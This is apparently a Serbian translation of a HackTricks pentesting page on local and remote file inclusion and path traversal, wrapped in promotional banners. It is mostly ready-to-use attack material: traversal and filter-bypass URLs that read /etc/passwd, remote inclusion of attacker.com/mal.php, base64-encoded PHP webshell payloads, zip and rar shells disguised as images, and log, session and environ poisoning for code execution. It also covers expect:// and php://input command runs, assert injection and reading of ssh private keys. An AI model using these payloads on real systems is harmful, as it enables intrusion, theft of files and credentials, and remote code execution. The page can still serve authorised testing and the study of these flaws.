36 KiB
Uključivanje datoteka/Pretraživanje putanja
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite PLANOVE PRETPLATE!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje trikove hakovanja slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Pridružite se HackenProof Discord serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!
Hakerski uvidi
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
Vesti o hakovanju u realnom vremenu
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
Najnovije objave
Budite informisani o najnovijim pokretanjima nagrada za pronalaženje bagova i važnim ažuriranjima platforme
Pridružite nam se na Discord-u i počnite da sarađujete sa vrhunskim hakerima danas!
Uključivanje datoteka
Udaljeno uključivanje datoteka (RFI): Datoteka se učitava sa udaljenog servera (Najbolje: Možete napisati kod i server će ga izvršiti). U php-u je ovo onemogućeno po podrazumevanim podešavanjima (allow_url_include).
Lokalno uključivanje datoteka (LFI): Server učitava lokalnu datoteku.
Ranjivost se javlja kada korisnik na neki način može kontrolisati datoteku koju će server učitati.
Ranjive PHP funkcije: require, require_once, include, include_once
Interesantan alat za iskorišćavanje ove ranjivosti: https://github.com/kurobeats/fimap
Slepo - Interesantno - LFI2RCE datoteke
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
Mešanjem nekoliko *nix LFI lista i dodavanjem više putanja, kreirao sam ovu:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
Takođe pokušajte da promenite /
u \
Takođe pokušajte da dodate ../../../../../
Listu koja koristi nekoliko tehnika za pronalaženje fajla /etc/password (kako bi se proverilo da li postoji ranjivost) možete pronaći ovde
Windows
Spajanje različitih wordlisti:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
Takođe pokušajte da promenite /
u \
Takođe pokušajte da uklonite C:/
i dodate ../../../../../
Listu koja koristi nekoliko tehnika za pronalaženje fajla /boot.ini (kako bi se proverilo da li postoji ranjivost) možete pronaći ovde
OS X
Proverite LFI listu za linux.
Osnovni LFI i zaobilaženje
Svi primeri su za lokalno uključivanje fajlova, ali mogu se primeniti i na udaljeno uključivanje fajlova (stranica=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
sekvence pretrage bez rekurzije sa uklonjenim znakovima
Ova tehnika se koristi za izvršavanje napada na uključivanje datoteka kada ciljani veb server primenjuje filtriranje putanja kako bi sprečio upotrebu specijalnih znakova. Umesto da koristite rekurzivne sekvence pretrage, ova metoda uklanja sve specijalne znakove iz putanje kako bi se izvršio napad.
Da biste primenili ovu tehniku, sledite sledeće korake:
- Identifikujte ciljani veb server koji koristi filtriranje putanja.
- Izvršite napad na uključivanje datoteka koristeći standardne sekvence pretrage.
- Ako primetite da se specijalni znakovi u putanji filtriraju, uklonite ih iz sekvence pretrage.
- Ponovite korake 2 i 3 sve dok ne uspete da izvršite napad na uključivanje datoteka.
Ova tehnika omogućava izvršavanje napada na uključivanje datoteka čak i kada ciljani veb server primenjuje filtriranje putanja.
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null bajt (%00)
Bajpasirajte dodavanje dodatnih znakova na kraju pruženog stringa (bajpas za: $_GET['param']."php")
http://example.com/index.php?page=../../../etc/passwd%00
Ovo je rešeno od PHP 5.4
Kodiranje
Možete koristiti ne-standardna kodiranja kao što je dvostruko URL kodiranje (i druga):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
Iz postojeće fascikle
Možda se back-end proverava putanja fascikle:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Istraživanje direktorijuma fajl sistema na serveru
Fajl sistem servera može se rekurzivno istraživati kako bi se identifikovali direktorijumi, a ne samo fajlovi, primenom određenih tehnika. Ovaj proces uključuje određivanje dubine direktorijuma i ispitivanje postojanja određenih foldera. U nastavku je detaljno opisan metod za postizanje ovog cilja:
- Odredite dubinu direktorijuma:
Utvrđivanje dubine trenutnog direktorijuma postiže se uspešnim dohvatanjem fajla
/etc/passwd
(primenjivo ako je server zasnovan na Linuxu). Primer URL-a može biti struktuiran na sledeći način, što ukazuje na dubinu od tri:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- Istraživanje foldera:
Dodajte ime sumnjivog foldera (npr.
private
) na URL, a zatim se vratite na/etc/passwd
. Dodavanje dodatnog nivoa direktorijuma zahteva povećanje dubine za jedan:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Tumačenje rezultata: Odgovor servera ukazuje da li folder postoji:
- Greška / Nema izlaza: Folder
private
verovatno ne postoji na navedenoj lokaciji. - Sadržaj
/etc/passwd
: Potvrđeno je prisustvo folderaprivate
.
- Rekurzivno istraživanje: Otkriveni folderi mogu se dalje istraživati u potrazi za poddirektorijumima ili fajlovima koristeći istu tehniku ili tradicionalne metode lokalnog uključivanja fajlova (LFI).
Za istraživanje direktorijuma na različitim lokacijama u fajl sistemu, prilagodite payload prema potrebi. Na primer, da biste proverili da li /var/www/
sadrži direktorijum private
(pretpostavljajući da je trenutni direktorijum na dubini 3), koristite:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Tehnika skraćivanja putanje
Tehnika skraćivanja putanje je metoda koja se koristi za manipulaciju putanjama datoteka u veb aplikacijama. Često se koristi za pristup ograničenim datotekama zaobilazeći određene sigurnosne mere koje dodaju dodatne karaktere na kraj putanja datoteka. Cilj je da se kreira putanja datoteke koja, nakon izmena sigurnosne mere, i dalje pokazuje na željenu datoteku.
U PHP-u, različiti prikazi putanje datoteke mogu se smatrati ekvivalentnim zbog prirode fajl sistema. Na primer:
/etc/passwd
,/etc//passwd
,/etc/./passwd
i/etc/passwd/
se tretiraju kao ista putanja.- Kada su poslednjih 6 karaktera
passwd
, dodavanje/
(čineći gapasswd/
) ne menja ciljanu datoteku. - Slično tome, ako se
.php
doda na putanju datoteke (kao što jeshellcode.php
), dodavanje/.
na kraju neće promeniti pristupanoj datoteci.
Pruženi primeri demonstriraju kako koristiti tehniku skraćivanja putanje da bi se pristupilo /etc/passwd
, čestoj meti zbog njenog osetljivog sadržaja (informacije o korisničkim nalozima):
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
U ovim scenarijima, broj potrebnih prolaza može biti oko 2027, ali taj broj može varirati na osnovu konfiguracije servera.
-
Korišćenje tačka segmenata i dodatnih karaktera: Sekvence prolaza (
../
) kombinovane sa dodatnim tačka segmentima i karakterima mogu se koristiti za navigaciju po fajl sistemu, efektivno ignorišući dodate stringove od strane servera. -
Određivanje potrebnog broja prolaza: Kroz pokušaj i grešku, može se pronaći precizan broj sekvenci
../
potrebnih za navigaciju do korenskog direktorijuma, a zatim do/etc/passwd
, obezbeđujući da se neutrališu dodati stringovi (kao što je.php
), ali da željena putanja (/etc/passwd
) ostane netaknuta. -
Početak sa lažnim direktorijumom: Uobičajena praksa je započeti putanju sa nepostojećim direktorijumom (kao što je
a/
). Ova tehnika se koristi kao preventivna mera ili da bi se ispunili zahtevi logike parsiranja putanje servera.
Prilikom korišćenja tehnika skraćivanja putanje, ključno je razumeti ponašanje servera pri parsiranju putanje i strukturu fajl sistema. Svaki scenario može zahtevati drugačiji pristup, a često je potrebno testiranje da bi se pronašla najefektivnija metoda.
Ova ranjivost je ispravljena u PHP 5.3.
Trikovi za zaobilaženje filtera
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Udaljeno uključivanje fajlova
U PHP-u je ovo podrazumevano onemogućeno jer je allow_url_include
postavljen na Off. Da bi ovo funkcionisalo, mora biti postavljen na On, a u tom slučaju možete uključiti PHP fajl sa vašeg servera i dobiti RCE (daljinsko izvršavanje koda).
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Ako iz nekog razloga allow_url_include
je Uključeno, ali PHP filtrira pristup spoljnim veb stranicama, prema ovom postu, možete koristiti na primer protokol podataka sa base64 za dekodiranje b64 PHP koda i dobijanje RCE:
{% code overflow="wrap" %}
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
{% endcode %}
{% hint style="info" %}
U prethodnom kodu, konačni +.txt
je dodat jer napadaču treba string koji se završava sa .txt
, tako da će taj deo stringa biti smeće nakon b64 dekodiranja i pravi PHP kod će biti uključen (i stoga, izvršen).
{% endhint %}
Još jedan primer bez korišćenja php://
protokola bio bi:
{% code overflow="wrap" %}
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
{% endcode %}
Python Root element
U Pythonu, u kodu poput ovog:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
Ako korisnik prosledi apsolutnu putanju do file_name
, prethodna putanja se samo uklanja:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
To je željeno ponašanje prema dokumentaciji:
Ako je komponenta apsolutna putanja, sve prethodne komponente se odbacuju i spajanje se nastavlja od apsolutne putanje komponente.
Java Listanje direktorijuma
Izgleda da ako imate Path Traversal u Javi i zahtevate direktorijum umesto fajla, vratiće se lista direktorijuma. Ovo se neće dešavati u drugim jezicima (koliko ja znam).
Top 25 parametara
Evo liste od 25 najčešćih parametara koji mogu biti ranjivi na lokalno uključivanje fajlova (LFI) (sa linka):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI korišćenjem PHP omotača i protokola
php://filter
PHP filteri omogućavaju izvođenje osnovnih operacija modifikacije podataka pre nego što se pročitaju ili zapišu. Postoje 5 kategorija filtera:
- Filteri za stringove:
string.rot13
string.toupper
string.tolower
string.strip_tags
: Uklanja oznake iz podataka (sve između "<" i ">" znakova)- Napomena: Ovaj filter je nestao iz modernih verzija PHP-a
- Filteri za konverziju
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: Transformiše u drugo kodiranje (convert.iconv.<input_enc>.<output_enc>
). Da biste dobili listu svih podržanih kodiranja, pokrenite u konzoli:iconv -l
{% hint style="warning" %}
Zloupotrebom konverzioniog filtera convert.iconv.*
možete generisati proizvoljan tekst, što može biti korisno za pisanje proizvoljnog teksta ili izvršavanje funkcije kao što je uključivanje proizvoljnog teksta. Za više informacija pogledajte LFI2RCE putem php filtera.
{% endhint %}
- Filteri za kompresiju
zlib.deflate
: Komprimuje sadržaj (korisno ako se izvlači puno informacija)zlib.inflate
: Dekomprimuje podatke- Filteri za enkripciju
mcrypt.*
: Zastarelomdecrypt.*
: Zastarelo- Ostali filteri
- Pokretanjem
var_dump(stream_get_filters());
u PHP-u možete pronaći nekoliko neočekivanih filtera: consumed
dechunk
: Obrće HTTP chunked kodiranjeconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
{% hint style="warning" %} Deo "php://filter" je neosetljiv na veličinu slova {% endhint %}
php://fd
Ovaj omotač omogućava pristup deskriptorima datoteka koje proces ima otvorene. Potencijalno korisno za izvlačenje sadržaja otvorenih datoteka:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
Možete takođe koristiti php://stdin, php://stdout i php://stderr da pristupite file descriptorima 0, 1 i 2 redom (nisam siguran kako bi ovo moglo biti korisno u napadu)
zip:// i rar://
Otpremite Zip ili Rar fajl sa PHPShell-om unutra i pristupite mu.
Da biste mogli zloupotrebiti rar protokol, mora biti posebno aktiviran.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
Data URI je način za uključivanje podataka direktno u HTML ili CSS fajlove. Ova tehnika se može iskoristiti za uključivanje malicioznog koda ili izvršavanje napada na server. Kada se koristi u kontekstu file inclusion napada, data URI se može iskoristiti za uključivanje udaljenih fajlova ili čak izvršavanje lokalnih fajlova na serveru. Ovo može dovesti do otkrivanja osetljivih informacija ili izvršavanja proizvoljnog koda na serveru.
Da biste izvršili file inclusion napad pomoću data URI, potrebno je pronaći ranjivu tačku na ciljnom serveru koja omogućava uključivanje fajlova. Zatim možete konstruisati URL koji sadrži data URI koji pokazuje na fajl koji želite uključiti. Kada se ovaj URL prosledi serveru, on će pokušati uključiti fajl i izvršiti ga, što može dovesti do neželjenih posledica.
Da biste se zaštitili od file inclusion napada putem data URI, preporučuje se da se proveri i validira svaki URL koji se prosleđuje serveru. Takođe je važno ažurirati i zakrpati sve ranjive tačke na serveru kako bi se smanjio rizik od ovakvih napada.
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Napomena da je ovaj protokol ograničen php konfiguracijama allow_url_open
i allow_url_include
expect://
Expect mora biti aktiviran. Možete izvršiti kod koristeći ovo:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
Navedite svoj payload u POST parametrima:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
.phar
fajl može se koristiti za izvršavanje PHP koda kada veb aplikacija koristi funkcije poput include
za učitavanje fajlova. PHP kod ispod prikazuje kako se kreira .phar
fajl:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
Da biste kompajlirali .phar
datoteku, treba izvršiti sledeću komandu:
php --define phar.readonly=0 create_path.php
Prilikom izvršavanja, kreiraće se datoteka nazvana test.phar
, koja potencijalno može biti iskorišćena za iskorišćavanje ranjivosti lokalnog uključivanja datoteka (LFI).
U slučajevima kada LFI samo vrši čitanje datoteka bez izvršavanja PHP koda unutar njih, kroz funkcije poput file_get_contents()
, fopen()
, file()
, file_exists()
, md5_file()
, filemtime()
ili filesize()
, može se pokušati iskorišćavanje ranjivosti de-serijalizacije. Ova ranjivost je povezana sa čitanjem datoteka korišćenjem phar
protokola.
Za detaljnije razumevanje iskorišćavanja ranjivosti de-serijalizacije u kontekstu .phar
datoteka, pogledajte dokument koji je povezan u nastavku:
Phar vodič za iskorišćavanje de-serijalizacije
{% content-ref url="phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}
Više protokola
Proverite više mogućih protokola koje treba uključiti ovde:
- php://memory i php://temp — Pisanje u memoriju ili u privremenu datoteku (nije sigurno kako ovo može biti korisno u napadu uključivanja datoteka)
- file:// — Pristupanje lokalnom fajl sistemu
- http:// — Pristupanje HTTP(s) URL-ovima
- ftp:// — Pristupanje FTP(s) URL-ovima
- zlib:// — Kompresioni tokovi
- glob:// — Pronalaženje putanja koje odgovaraju šablonu (ne vraća ništa štampajuće, pa nije stvarno korisno ovde)
- ssh2:// — Secure Shell 2
- ogg:// — Audio tokovi (Nije korisno za čitanje proizvoljnih datoteka)
LFI putem PHP-ove 'assert' funkcije
Rizici lokalnog uključivanja datoteka (LFI) u PHP-u su posebno visoki prilikom rukovanja funkcijom 'assert', koja može izvršiti kod unutar stringova. To je posebno problematično ako se proverava ulaz koji sadrži karaktere za pretraživanje direktorijuma poput "..", ali nije pravilno dezinfikovan.
Na primer, PHP kod može biti dizajniran da spreči pretraživanje direktorijuma na sledeći način:
assert("strpos('$file', '..') === false") or die("");
Iako ovo ima za cilj zaustavljanje traversal-a, nenamerno stvara vektor za ubrizgavanje koda. Da bi iskoristio ovo za čitanje sadržaja fajla, napadač bi mogao koristiti:
' and die(highlight_file('/etc/passwd')) or '
Slično tome, za izvršavanje proizvoljnih sistemskih komandi, može se koristiti:
' and die(system("id")) or '
Važno je URL-kodirati ove payloade.
Pridružite se HackenProof Discord serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!
Hakerski uvidi
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
Hakerske vesti u realnom vremenu
Budite u toku sa brzim svetom hakovanja putem vesti i uvida u realnom vremenu
Najnovije objave
Budite informisani o najnovijim pokretanjima nagrada za pronalaženje bagova i važnim ažuriranjima platforme
Pridružite nam se na Discord-u i počnite da sarađujete sa vrhunskim hakerima danas!
PHP slepo putovanje putem putanje
{% hint style="warning" %}
Ova tehnika je relevantna u slučajevima kada kontrolišete putanju fajla PHP funkcije koja će pristupiti fajlu, ali nećete videti sadržaj fajla (kao jednostavan poziv file()
), ali sadržaj nije prikazan.
{% endhint %}
U ovom neverovatnom postu objašnjeno je kako se slepo putovanje putem putanje može zloupotrebiti putem PHP filtera da bi se izfiltrirao sadržaj fajla putem orakla greške.
Ukratko, tehnika koristi "UCS-4LE" kodiranje da bi sadržaj fajla bio toliko veliki da će PHP funkcija koja otvara fajl izazvati grešku.
Zatim, kako bi se otkrio prvi karakter, koristi se filter dechunk
zajedno sa drugim filterima kao što su base64 ili rot13, a zatim se koriste filteri convert.iconv.UCS-4.UCS-4LE i convert.iconv.UTF16.UTF-16BE da bi se postavili drugi karakteri na početak i otkrili ih.
Funkcije koje mogu biti ranjive: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (samo cilj čitanja samo sa ovim)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
Za tehničke detalje pogledajte pomenuti post!
LFI2RCE
Udaljeno uključivanje fajla
Objašnjeno ranije, pratite ovaj link.
Putem log fajla Apache/Nginx
Ako je server Apache ili Nginx ranjiv na LFI unutar funkcije za uključivanje, možete pokušati pristupiti /var/log/apache2/access.log
ili /var/log/nginx/access.log
, postaviti unutar user agenta ili unutar GET parametra PHP shell kao što je <?php system($_GET['c']); ?>
i uključiti taj fajl
{% hint style="warning" %} Imajte na umu da ako koristite dvostruke navodnike za shell umesto jednostrukih navodnika, dvostruki navodnici će biti izmenjeni u string "quote;", PHP će tu baciti grešku i ništa drugo neće biti izvršeno.
Takođe, pobrinite se da ispravno napišete payload ili će PHP svaki put pri pokušaju učitavanja log fajla baciti grešku i nećete imati drugu priliku. {% endhint %}
Ovo se takođe može uraditi i u drugim logovima, ali budite oprezni, kod unutar logova može biti URL-kodiran i to može uništiti Shell. Zaglavlje autorizacija "basic" sadrži "korisnik:lozinka" u Base64 i dekodira se unutar logova. PHPShell može biti ubačen unutar ovog zaglavlja.
Drugi mogući putovi logova:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Putem e-pošte
Pošaljite e-poštu na interni nalog (user@localhost) koja sadrži vaš PHP payload kao <?php echo system($_REQUEST["cmd"]); ?>
i pokušajte da je uključite u poštu korisnika sa putanjom kao /var/mail/<KORISNIČKO_IME>
ili /var/spool/mail/<KORISNIČKO_IME>
Putem /proc/*/fd/*
- Učitajte puno shell-ova (na primer: 100)
- Uključite http://example.com/index.php?page=/proc/$PID/fd/$FD, gde je $PID PID procesa (može se probiti) i $FD deskriptor fajla (takođe se može probiti)
Putem /proc/self/environ
Kao log fajl, pošaljite payload u User-Agent, biće reflektovan unutar fajla /proc/self/environ
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Preko otpremanja
Ako možete otpremiti datoteku, jednostavno ubacite shell payload u nju (npr. <?php system($_GET['c']); ?>
).
http://example.com/index.php?page=path/to/uploaded/file.png
Da biste održali čitljivost datoteke, najbolje je ubaciti u metapodatke slika/doc/pdf
Putem otpremanja ZIP datoteke
Otpremite ZIP datoteku koja sadrži komprimiranu PHP ljusku i pristupite:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Putem PHP sesija
Proverite da li veb sajt koristi PHP sesije (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
U PHP-u, ove sesije se čuvaju u datotekama /var/lib/php5/sess\[PHPSESSID]_.
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Postavite kolačić na <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Koristite LFI da biste uključili PHP sesijski fajl
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
Preko ssh-a
Ako je ssh aktivan, proverite koji se korisnik koristi (/proc/self/status & /etc/passwd) i pokušajte pristupiti <HOME>/.ssh/id_rsa
Preko vsftpd logova
Logovi za FTP server vsftpd nalaze se na /var/log/vsftpd.log. U scenariju gde postoji ranjivost lokalnog uključivanja datoteka (LFI) i moguć pristup izloženom vsftpd serveru, mogu se razmotriti sledeći koraci:
- Ubacite PHP payload u polje za korisničko ime tokom procesa prijave.
- Nakon ubacivanja, koristite LFI da biste dobili logove servera sa /var/log/vsftpd.log.
Preko php base64 filtera (korišćenjem base64)
Kao što je prikazano u ovom članku, PHP base64 filter jednostavno ignoriše Non-base64. Možete to koristiti da biste zaobišli proveru ekstenzije datoteke: ako dostavite base64 koji se završava sa ".php", on će jednostavno ignorisati "." i dodati "php" na base64. Evo primera payloada:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Putem PHP filtera (nije potreban fajl)
Ovaj članak objašnjava da možete koristiti PHP filtere za generisanje proizvoljnog sadržaja kao izlaz. To znači da možete generisati proizvoljni PHP kod za uključivanje bez potrebe da ga pišete u fajl.
{% content-ref url="lfi2rce-via-php-filters.md" %} lfi2rce-via-php-filters.md {% endcontent-ref %}
Putem greške segmentacije
Postavite fajl koji će biti smešten kao privremeni u /tmp
, zatim u istom zahtevu, izazovite grešku segmentacije, i tada privremeni fajl neće biti obrisan i možete ga pronaći.
{% content-ref url="lfi2rce-via-segmentation-fault.md" %} lfi2rce-via-segmentation-fault.md {% endcontent-ref %}
Putem Nginx privremenog skladištenja fajlova
Ako ste pronašli Lokalno uključivanje fajlova i Nginx je pokrenut ispred PHP-a, možda ćete moći da dobijete RCE pomoću sledeće tehnike:
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %} lfi2rce-via-nginx-temp-files.md {% endcontent-ref %}
Putem PHP_SESSION_UPLOAD_PROGRESS
Ako ste pronašli Lokalno uključivanje fajlova, čak i ako nemate sesiju i session.auto_start
je Off
. Ako pružite PHP_SESSION_UPLOAD_PROGRESS
u multipart POST podacima, PHP će omogućiti sesiju za vas. Možete zloupotrebiti ovo da biste dobili RCE:
{% content-ref url="via-php_session_upload_progress.md" %} via-php_session_upload_progress.md {% endcontent-ref %}
Putem privremenog otpremanja fajlova u Windows-u
Ako ste pronašli Lokalno uključivanje fajlova i server radi na Windows-u, možete dobiti RCE:
{% content-ref url="lfi2rce-via-temp-file-uploads.md" %} lfi2rce-via-temp-file-uploads.md {% endcontent-ref %}
Putem phpinfo() (file_uploads = on)
Ako ste pronašli Lokalno uključivanje fajlova i fajl koji prikazuje phpinfo() sa file_uploads = on, možete dobiti RCE:
{% content-ref url="lfi2rce-via-phpinfo.md" %} lfi2rce-via-phpinfo.md {% endcontent-ref %}
Putem compress.zlib + PHP_STREAM_PREFER_STUDIO
+ otkrivanje putanje
Ako ste pronašli Lokalno uključivanje fajlova i možete izvući putanju privremenog fajla, ALI server proverava da li fajl koji treba da se uključi ima PHP oznake, možete pokušati da zaobiđete tu proveru sa ovom trkom stanja:
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {% endcontent-ref %}
Putem večnog čekanja + brute force
Ako možete zloupotrebiti LFI da biste otpustili privremene fajlove i naterali server da zastane izvršavanje PHP-a, tada možete brute force-ovati imena fajlova satima da biste pronašli privremeni fajl:
{% content-ref url="lfi2rce-via-eternal-waiting.md" %} lfi2rce-via-eternal-waiting.md {% endcontent-ref %}
Do Fatalne greške
Ako uključite bilo koji od fajlova /usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
. (Morate uključiti isti fajl 2 puta da biste izazvali tu grešku).
Ne znam kako je ovo korisno, ali može biti.
Čak i ako izazovete PHP Fatalnu grešku, privremeni fajlovi PHP-a koji su otpremljeni će biti obrisani.
Reference
- PayloadsAllTheThings\
- PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
Pridružite se HackenProof Discord serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!
Hacking Insights
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
Vesti o hakovanju u realnom vremenu
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
Najnovije objave
Budite informisani o najnovijim pokretanjima nagrada za pronalaženje bagova i važnim ažuriranjima platforme
Pridružite nam se na Discord-u i počnite da sarađujete sa vrhunskim hakerima danas!
Naučite hakovanje AWS-a od početka do naprednog nivoa sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite oglašavanje vaše kompanije u HackTricks-u ili preuzmete HackTricks u PDF formatu, pogledajte PLANOVE ZA PRIJEM!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
